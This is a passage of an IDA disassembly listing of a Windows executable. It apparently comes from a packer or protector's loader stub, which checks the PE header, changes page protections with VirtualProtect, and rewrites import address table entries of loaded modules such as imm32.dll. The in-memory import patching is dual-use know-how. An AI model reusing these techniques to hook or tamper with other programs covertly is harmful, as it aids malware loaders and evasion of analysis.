		sub	ecx, 1
		mov	ds:dword_4E1914, ecx
		mov	al, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4D4D70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D4DC0	proc near		; CODE XREF: _4:004CE2A6p

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		mov	[ebp+var_18], 0
		call	sub_4D2DD0
		call	sub_4D9DD4
		call	sub_4CC3F3
		mov	eax, ds:dword_4E1684
		mov	ecx, [eax+4]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_18]
		add	eax, [edx+3Ch]
		mov	ds:dword_4E1910, eax
		mov	ecx, ds:dword_4E1910
		cmp	dword ptr [ecx], 4550h
		jz	short loc_4D4E0D
		mov	ecx, 0EF000002h
		call	sub_4D8342


loc_4D4E0D:				; CODE XREF: sub_4D4DC0+41j
		mov	edx, ds:dword_4E1698
		sub	edx, 3
		mov	[ebp+var_4], edx
		cmp	ds:dword_4E1680, 1
		jz	short loc_4D4E37
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	190h
		mov	ecx, [ebp+var_18]
		push	ecx
		call	ds:dword_4E17AC	; VirtualProtect


loc_4D4E37:				; CODE XREF: sub_4D4DC0+60j
		mov	[ebp+var_14], 0
		jmp	short loc_4D4E49
; ---------------------------------------------------------------------------


loc_4D4E40:				; CODE XREF: sub_4D4DC0+AFj
					; sub_4D4DC0:loc_4D4F6Dj
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx


loc_4D4E49:				; CODE XREF: sub_4D4DC0+7Ej
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_4]
		jnb	loc_4D4F72
		mov	ecx, [ebp+var_14]
		imul	ecx, 28h
		mov	edx, ds:off_4E169C
		add	edx, ecx
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_4D4E71
		jmp	short loc_4D4E40
; ---------------------------------------------------------------------------


loc_4D4E71:				; CODE XREF: sub_4D4DC0+ADj
		cmp	[ebp+var_14], 20h
		jnb	short loc_4D4E98
		mov	edx, 1
		mov	ecx, [ebp+var_14]
		shl	edx, cl
		mov	eax, ds:dword_4E1684
		mov	ecx, [eax+10h]
		and	ecx, edx
		test	ecx, ecx
		jz	short loc_4D4E98
		mov	[ebp+var_34], 1
		jmp	short loc_4D4E9F
; ---------------------------------------------------------------------------


loc_4D4E98:				; CODE XREF: sub_4D4DC0+B5j
					; sub_4D4DC0+CDj
		mov	[ebp+var_34], 0


loc_4D4E9F:				; CODE XREF: sub_4D4DC0+D6j
		mov	edx, [ebp+var_34]
		mov	[ebp+var_28], edx
		cmp	[ebp+var_14], 20h
		jnb	short loc_4D4ECD
		mov	eax, 1
		mov	ecx, [ebp+var_14]
		shl	eax, cl
		mov	ecx, ds:dword_4E1684
		mov	edx, [ecx+14h]
		and	edx, eax
		test	edx, edx
		jz	short loc_4D4ECD
		mov	[ebp+var_38], 1
		jmp	short loc_4D4ED4
; ---------------------------------------------------------------------------


loc_4D4ECD:				; CODE XREF: sub_4D4DC0+E9j
					; sub_4D4DC0+102j
		mov	[ebp+var_38], 0


loc_4D4ED4:				; CODE XREF: sub_4D4DC0+10Bj
		mov	eax, [ebp+var_38]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+var_20]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	loc_4D48C0
		mov	edx, [ebp+var_20]
		mov	eax, [edx+24h]
		and	eax, 20000000h
		test	eax, eax
		jz	short loc_4D4F19
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+24h]
		and	edx, 80000000h
		neg	edx
		sbb	edx, edx
		and	edx, 20h
		add	edx, 20h
		mov	[ebp+var_3C], edx
		jmp	short loc_4D4F32
; ---------------------------------------------------------------------------


loc_4D4F19:				; CODE XREF: sub_4D4DC0+13Cj
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+24h]
		and	ecx, 80000000h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 2
		add	ecx, 2
		mov	[ebp+var_3C], ecx


loc_4D4F32:				; CODE XREF: sub_4D4DC0+157j
		mov	edx, [ebp+var_3C]
		mov	[ebp+var_24], edx
		cmp	ds:dword_4E1680, 1
		jz	short loc_4D4F6D
		mov	eax, ds:dword_4E1910
		xor	ecx, ecx
		mov	cx, [eax+14h]
		mov	edx, ds:dword_4E1910
		lea	eax, [edx+ecx+18h]
		mov	ecx, [ebp+var_14]
		imul	ecx, 28h
		add	eax, ecx
		mov	[ebp+var_30], eax
		mov	edx, [ebp+var_30]
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+24h]
		mov	[edx+24h], ecx


loc_4D4F6D:				; CODE XREF: sub_4D4DC0+17Fj
		jmp	loc_4D4E40
; ---------------------------------------------------------------------------


loc_4D4F72:				; CODE XREF: sub_4D4DC0+8Fj
		cmp	ds:dword_4E1680, 1
		jz	short loc_4D4FA3
		mov	edx, ds:dword_4E1910
		mov	eax, ds:off_4E169C
		mov	ecx, [eax-0Ch]
		mov	[edx+0ECh], ecx
		mov	edx, ds:dword_4E1910
		mov	eax, ds:off_4E169C
		mov	ecx, [eax-8]
		mov	[edx+0E8h], ecx


loc_4D4FA3:				; CODE XREF: sub_4D4DC0+1B9j
		cmp	ds:dword_4E1680, 1
		jz	short loc_4D4FC3
		lea	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		push	190h
		mov	ecx, [ebp+var_18]
		push	ecx
		call	ds:dword_4E17AC	; VirtualProtect


loc_4D4FC3:				; CODE XREF: sub_4D4DC0+1EAj
		mov	edx, ds:dword_4E1684
		mov	eax, [ebp+var_18]
		add	eax, [edx+8]
		mov	[ebp+var_C], eax
		mov	ds:dword_4E1914, 0
		push	0
		push	0
		push	offset aExecutable ; "EXECUTABLE"
		mov	ecx, ds:dword_4E1910
		push	ecx
		mov	edx, [ebp+var_18]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_4D4AB0
		add	esp, 18h
		call	sub_4D613C
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4D501F


loc_4D500A:				; CODE XREF: sub_4D4DC0+258j
		call	sub_4D614D
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_4D501A
		jmp	short loc_4D500A
; ---------------------------------------------------------------------------


loc_4D501A:				; CODE XREF: sub_4D4DC0+256j
		call	sub_4D613C


loc_4D501F:				; CODE XREF: sub_4D4DC0+248j
		push	offset aImm32_dll ; "imm32.dll"
		call	ds:dword_4E1718	; GetModuleHandleA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_4D5041
		push	offset aImm32_dll ; "imm32.dll"
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_4D5070


loc_4D5041:				; CODE XREF: sub_4D4DC0+271j
		push	offset aOleoaut32_dll ;	"oleoaut32.dll"
		call	ds:dword_4E1718	; GetModuleHandleA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_4D5063
		push	offset aOleaout32_dll ;	"oleaout32.dll"
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_4D5070


loc_4D5063:				; CODE XREF: sub_4D4DC0+293j
		mov	esp, ebp
		pop	ebp
		retn
sub_4D4DC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D5070	proc near		; CODE XREF: sub_4D4DC0+27Cp
					; sub_4D4DC0+29Ep ...

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, ds:dword_4E1914
		add	eax, 1
		mov	ds:dword_4E1914, eax
		mov	ecx, [ebp+arg_4]
		mov	ds:off_4E0BE8, ecx
		push	9
		lea	ecx, [ebp+var_28]
		call	sub_4DB77C
		lea	edx, [ebp+var_28]
		push	edx
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4D50D0
		add	esp, 0Ch
		mov	ecx, ds:dword_4E1914
		sub	ecx, 1
		mov	ds:dword_4E1914, ecx
		mov	[ebp+var_2C], 1
		lea	ecx, [ebp+var_28]
		call	sub_4DB82A
		mov	eax, [ebp+var_2C]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4D5070	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D50D0	proc near		; CODE XREF: sub_4D5070+30p
					; sub_4D50D0+24Bp

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE460
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFB8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	[ebp+arg_0], 0
		jnz	short loc_4D5101
		jmp	loc_4D53BC
; ---------------------------------------------------------------------------


loc_4D5101:				; CODE XREF: sub_4D50D0+2Aj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_30], edx
		jmp	short loc_4D511E
; ---------------------------------------------------------------------------


loc_4D5115:				; CODE XREF: sub_4D50D0:loc_4D5133j
		mov	eax, [ebp+var_30]
		mov	ecx, [eax+4]
		mov	[ebp+var_30], ecx


loc_4D511E:				; CODE XREF: sub_4D50D0+43j
		cmp	[ebp+var_30], 0
		jz	short loc_4D5135
		mov	edx, [ebp+var_30]
		mov	eax, [edx]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4D5133
		jmp	loc_4D53BC
; ---------------------------------------------------------------------------


loc_4D5133:				; CODE XREF: sub_4D50D0+5Cj
		jmp	short loc_4D5115
; ---------------------------------------------------------------------------


loc_4D5135:				; CODE XREF: sub_4D50D0+52j
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+arg_8]
		call	sub_4DB871
		test	eax, eax
		jz	short loc_4D514A
		jmp	loc_4D53BC
; ---------------------------------------------------------------------------


loc_4D514A:				; CODE XREF: sub_4D50D0+73j
		mov	edx, ds:dword_4E1914
		add	edx, 1
		mov	ds:dword_4E1914, edx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_34], eax
		mov	ecx, ds:off_4E0BE8
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0
		mov	edx, [ebp+var_34]
		mov	eax, [ebp+var_34]
		add	eax, [edx+3Ch]
		mov	[ebp+var_38], eax
		mov	ecx, [ebp+var_38]
		cmp	dword ptr [ecx], 4550h
		jnz	loc_4D5371
		cmp	ds:dword_4E1680, 1
		jnz	short loc_4D51AA
		cmp	[ebp+arg_0], 80000000h
		jbe	short loc_4D51AA
		push	0
		push	0
		push	0
		push	0
		call	ds:dword_4E1778	; RaiseException


loc_4D51AA:				; CODE XREF: sub_4D50D0+C1j
					; sub_4D50D0+CAj
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_34]
		add	eax, [edx+80h]
		mov	[ebp+var_20], eax
		mov	[ebp+var_4], 1
		cmp	ds:dword_4E1680, 1
		jnz	short loc_4D5247
		mov	[ebp+var_40], 0
		jmp	short loc_4D51DB
; ---------------------------------------------------------------------------


loc_4D51D2:				; CODE XREF: sub_4D50D0:loc_4D5245j
		mov	ecx, [ebp+var_40]
		add	ecx, 1
		mov	[ebp+var_40], ecx


loc_4D51DB:				; CODE XREF: sub_4D50D0+100j
		mov	edx, [ebp+var_38]
		xor	eax, eax
		mov	ax, [edx+6]
		cmp	[ebp+var_40], eax
		jnb	short loc_4D5247
		mov	ecx, [ebp+var_38]
		xor	edx, edx
		mov	dx, [ecx+14h]
		mov	eax, [ebp+var_38]
		lea	ecx, [eax+edx+18h]
		mov	edx, [ebp+var_40]
		imul	edx, 28h
		add	ecx, edx
		mov	[ebp+var_44], ecx
		mov	eax, [ebp+var_44]
		mov	ecx, [ebp+var_34]
		add	ecx, [eax+0Ch]
		cmp	ecx, [ebp+var_20]
		ja	short loc_4D5245
		mov	edx, [ebp+var_44]
		mov	eax, [ebp+var_34]
		add	eax, [edx+0Ch]
		mov	ecx, [ebp+var_44]
		add	eax, [ecx+8]
		cmp	[ebp+var_20], eax
		ja	short loc_4D5245
		mov	edx, [ebp+var_44]
		mov	eax, [edx+24h]
		and	eax, 10000000h
		test	eax, eax
		jz	short loc_4D5243
		push	0
		push	0
		push	0
		push	0
		call	ds:dword_4E1778	; RaiseException


loc_4D5243:				; CODE XREF: sub_4D50D0+163j
		jmp	short loc_4D5247
; ---------------------------------------------------------------------------


loc_4D5245:				; CODE XREF: sub_4D50D0+140j
					; sub_4D50D0+154j
		jmp	short loc_4D51D2
; ---------------------------------------------------------------------------


loc_4D5247:				; CODE XREF: sub_4D50D0+F7j
					; sub_4D50D0+117j ...
		mov	[ebp+var_4], 0
		jmp	short loc_4D526E
; ---------------------------------------------------------------------------


loc_4D5250:				; DATA XREF: _5:004DE470o
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx]
		mov	eax, [edx]
		mov	[ebp+var_58], eax
		mov	eax, [ebp+var_58]
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------


loc_4D5264:				; DATA XREF: _5:004DE474o
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0


loc_4D526E:				; CODE XREF: sub_4D50D0+17Ej
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+84h]
		xor	edx, edx
		mov	ecx, 14h
		div	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+var_3C], 0
		jmp	short loc_4D5295
; ---------------------------------------------------------------------------


loc_4D528C:				; CODE XREF: sub_4D50D0:loc_4D536Cj
		mov	edx, [ebp+var_3C]
		add	edx, 1
		mov	[ebp+var_3C], edx


loc_4D5295:				; CODE XREF: sub_4D50D0+1BAj
		mov	eax, [ebp+var_3C]
		cmp	eax, [ebp+var_1C]
		jnb	loc_4D5371
		mov	ecx, [ebp+var_3C]
		imul	ecx, 14h
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_34]
		add	eax, [edx+ecx+0Ch]
		mov	[ebp+var_50], eax
		mov	ecx, [ebp+var_3C]
		imul	ecx, 14h
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+ecx+0Ch], 0
		jz	short loc_4D52DD
		mov	eax, [ebp+var_3C]
		imul	eax, 14h
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+eax+0Ch]
		mov	eax, [ebp+var_34]
		xor	ecx, ecx
		mov	cl, [eax+edx]
		test	ecx, ecx
		jnz	short loc_4D52E2


loc_4D52DD:				; CODE XREF: sub_4D50D0+1F2j
		jmp	loc_4D5371
; ---------------------------------------------------------------------------


loc_4D52E2:				; CODE XREF: sub_4D50D0+20Bj
		mov	edx, [ebp+var_3C]
		imul	edx, 14h
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_34]
		add	ecx, [eax+edx+10h]
		mov	[ebp+var_48], ecx
		mov	edx, [ebp+var_50]
		push	edx
		call	sub_4DAF8C
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_50]
		mov	ds:off_4E0BE8, eax
		cmp	[ebp+var_4C], 0
		jz	short loc_4D5323
		mov	ecx, [ebp+arg_8]
		push	ecx
		lea	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_4C]
		push	eax
		call	sub_4D50D0
		add	esp, 0Ch


loc_4D5323:				; CODE XREF: sub_4D50D0+23Dj
		push	0
		call	ds:dword_4E1718	; GetModuleHandleA
		cmp	eax, [ebp+arg_0]
		jz	short loc_4D536C
		mov	ecx, [ebp+var_4C]
		push	ecx
		mov	ecx, ds:dword_4E60D8
		call	sub_4DB871
		test	eax, eax
		jz	short loc_4D536C
		jmp	short loc_4D534E
; ---------------------------------------------------------------------------


loc_4D5345:				; CODE XREF: sub_4D50D0+29Aj
		mov	edx, [ebp+var_48]
		add	edx, 4
		mov	[ebp+var_48], edx


loc_4D534E:				; CODE XREF: sub_4D50D0+273j
		mov	eax, [ebp+var_48]
		cmp	dword ptr [eax], 0
		jz	short loc_4D536C
		mov	ecx, [ebp+var_50]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_48]
		push	eax
		call	sub_4D53D0
		add	esp, 0Ch
		jmp	short loc_4D5345
; ---------------------------------------------------------------------------


loc_4D536C:				; CODE XREF: sub_4D50D0+25Ej
					; sub_4D50D0+271j ...
		jmp	loc_4D528C
; ---------------------------------------------------------------------------


loc_4D5371:				; CODE XREF: sub_4D50D0+B4j
					; sub_4D50D0+1CBj ...
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+arg_8]
		call	sub_4DB98E
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4D53A5
; ---------------------------------------------------------------------------
		mov	edx, [ebp+var_14]
		mov	eax, [edx]
		mov	ecx, [eax]
		mov	[ebp+var_54], ecx
		mov	eax, [ebp+var_54]
		neg	eax
		sbb	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0FFFFFFFFh


loc_4D53A5:				; CODE XREF: sub_4D50D0+2B6j
		mov	eax, [ebp+var_24]
		mov	ds:off_4E0BE8, eax
		mov	ecx, ds:dword_4E1914
		sub	ecx, 1
		mov	ds:dword_4E1914, ecx


loc_4D53BC:				; CODE XREF: sub_4D50D0+2Cj
					; sub_4D50D0+5Ej ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4D50D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D53D0	proc near		; CODE XREF: sub_4D4AB0+282p
					; sub_4D50D0+292p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_4], 0
		cmp	ds:dword_4E60D4, 0
		jnz	short loc_4D53F0
		mov	ecx, 0EF00000Ah
		call	sub_4D8342


loc_4D53F0:				; CODE XREF: sub_4D53D0+14j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		mov	ecx, ds:dword_4E60D4
		call	sub_4DB871
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4D544F
		lea	edx, [ebp+var_10]
		push	edx
		push	4
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4E17AC	; VirtualProtect
		test	eax, eax
		jnz	short loc_4D542A
		mov	ecx, 0EF00000Bh
		call	sub_4D8342


loc_4D542A:				; CODE XREF: sub_4D53D0+4Ej
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	[ecx], eax
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4E17AC	; VirtualProtect
		mov	[ebp+var_4], 1


loc_4D544F:				; CODE XREF: sub_4D53D0+38j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4D53D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D5456	proc near		; CODE XREF: sub_4CC3F3+23p
					; sub_4CF036+A5p

var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_1E		= dword	ptr -1Eh
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4DE478
		push	offset sub_4CC54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 6Ch
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_30], 0
		and	[ebp+var_2C], 0
		and	[ebp+var_4], 0
		and	[ebp+var_3C], 0
		lea	eax, [ebp+var_34]
		push	eax
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		push	0Eh
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	sub_4D1177
		test	eax, eax
		jz	short loc_4D54B7
		lea	eax, [ebp+var_44]
		push	eax
		push	[ebp+arg_0]
		call	sub_4D0672
		test	eax, eax
		jnz	short loc_4D54D0


loc_4D54B7:				; CODE XREF: sub_4D5456+4Fj
		push	0FFFFFFFFh
		and	[ebp+var_64], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_64]
		jmp	loc_4D56DC
; ---------------------------------------------------------------------------


loc_4D54D0:				; CODE XREF: sub_4D5456+5Fj
		movzx	eax, [ebp+var_28]
		cmp	eax, 4D42h
		jnz	short loc_4D5534
		mov	eax, [ebp+var_26]
		cmp	eax, [ebp+var_44]
		ja	short loc_4D5534
		mov	eax, [ebp+var_26]
		sub	eax, 0Eh
		push	eax
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_5C], eax
		mov	eax, [ebp+var_5C]
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_48]
		push	eax
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		mov	eax, [ebp+var_26]
		sub	eax, 0Eh
		push	eax
		push	[ebp+var_30]
		push	[ebp+arg_0]
		call	sub_4D1177
		test	eax, eax
		jnz	short loc_4D5532
		push	0FFFFFFFFh
		and	[ebp+var_68], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_68]
		jmp	loc_4D56DC
; ---------------------------------------------------------------------------


loc_4D5532:				; CODE XREF: sub_4D5456+C1j
		jmp	short loc_4D554D
; ---------------------------------------------------------------------------


loc_4D5534:				; CODE XREF: sub_4D5456+83j
					; sub_4D5456+8Bj
		push	0FFFFFFFFh
		and	[ebp+var_6C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_6C]
		jmp	loc_4D56DC
; ---------------------------------------------------------------------------


loc_4D554D:				; CODE XREF: sub_4D5456:loc_4D5532j
		mov	eax, [ebp+var_30]
		mov	eax, [eax]
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_30]
		cmp	dword ptr [eax+10h], 0
		jz	short loc_4D5577
		push	0FFFFFFFFh
		and	[ebp+var_70], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_70]
		jmp	loc_4D56DC
; ---------------------------------------------------------------------------


loc_4D5577:				; CODE XREF: sub_4D5456+106j
		push	0
		call	ds:dword_4E17E0	; CreateCompatibleDC
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jnz	short loc_4D55A1
		push	0FFFFFFFFh
		and	[ebp+var_74], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_74]
		jmp	loc_4D56DC
; ---------------------------------------------------------------------------


loc_4D55A1:				; CODE XREF: sub_4D5456+130j
		mov	eax, [ebp+var_1E]
		mov	ecx, [ebp+var_30]
		lea	eax, [ecx+eax-0Eh]
		mov	[ebp+var_40], eax
		and	[ebp+var_4C], 0
		and	[ebp+var_54], 0
		mov	eax, [ebp+var_30]
		movzx	eax, word ptr [eax+0Eh]
		mov	[ebp+var_78], eax
		cmp	[ebp+var_78], 8
		jz	short loc_4D55F5
		cmp	[ebp+var_78], 10h
		jz	short loc_4D55EC
		cmp	[ebp+var_78], 18h
		jz	short loc_4D55E3
		cmp	[ebp+var_78], 20h
		jz	short loc_4D55DA
		jmp	short loc_4D55FE
; ---------------------------------------------------------------------------


loc_4D55DA:				; CODE XREF: sub_4D5456+180j
		mov	[ebp+var_4C], 4
		jmp	short loc_4D5617
; ---------------------------------------------------------------------------


loc_4D55E3:				; CODE XREF: sub_4D5456+17Aj
		mov	[ebp+var_4C], 3
		jmp	short loc_4D5617
; ---------------------------------------------------------------------------


loc_4D55EC:				; CODE XREF: sub_4D5456+174j
		mov	[ebp+var_4C], 2
		jmp	short loc_4D5617
; ---------------------------------------------------------------------------


loc_4D55F5:				; CODE XREF: sub_4D5456+16Ej
		mov	[ebp+var_4C], 1
		jmp	short loc_4D5617
; ---------------------------------------------------------------------------


loc_4D55FE:				; CODE XREF: sub_4D5456+182j
		push	0FFFFFFFFh
		and	[ebp+var_7C], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_7C]
		jmp	loc_4D56DC
; ---------------------------------------------------------------------------


loc_4D5617:				; CODE XREF: sub_4D5456+18Bj
					; sub_4D5456+194j ...
		push	0
		push	0
		lea	eax, [ebp+var_58]
		push	eax
		push	0
		push	[ebp+var_30]
		push	[ebp+var_2C]
		call	ds:dword_4E17E4	; CreateDIBSection
		mov	[ebp+var_54], eax
		cmp	[ebp+var_54], 0
		jnz	short loc_4D564F
		push	0FFFFFFFFh
		and	[ebp+var_80], 0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_80]
		jmp	loc_4D56DC
; ---------------------------------------------------------------------------


loc_4D564F:				; CODE XREF: sub_4D5456+1DEj
		mov	eax, [ebp+var_30]
		mov	eax, [eax+4]
		imul	eax, [ebp+var_4C]
		mov	[ebp+var_50], eax
		mov	eax, [ebp+var_50]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		test	edx, edx
		jz	short loc_4D567F
		mov	eax, [ebp+var_50]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		push	4
		pop	eax
		sub	eax, edx
		mov	ecx, [ebp+var_50]
		add	ecx, eax
		mov	[ebp+var_50], ecx


loc_4D567F:				; CODE XREF: sub_4D5456+211j
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_50]
		imul	ecx, [eax+8]
		mov	esi, [ebp+var_40]
		mov	edi, [ebp+var_58]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	0FFFFFFFFh
		mov	eax, [ebp+var_54]
		mov	[ebp+var_84], eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4CC496
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_84]
		jmp	short loc_4D56DC
; ---------------------------------------------------------------------------


loc_4D56BB:				; DATA XREF: _5:004DE480o
		cmp	[ebp+var_2C], 0
		jz	short loc_4D56CA
		push	[ebp+var_2C]
		call	ds:dword_4E17E8	; DeleteDC


loc_4D56CA:				; CODE XREF: sub_4D5456+269j
		mov	eax, [ebp+var_30]
		mov	[ebp+var_60], eax
		push	[ebp+var_60]
		call	sub_4D83DD
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_4D56DC:				; CODE XREF: sub_4D5456+75j
					; sub_4D5456+D7j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4D5456	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D56EB	proc near		; CODE XREF: sub_4D61E1+969p

var_10		= dword	ptr -10h
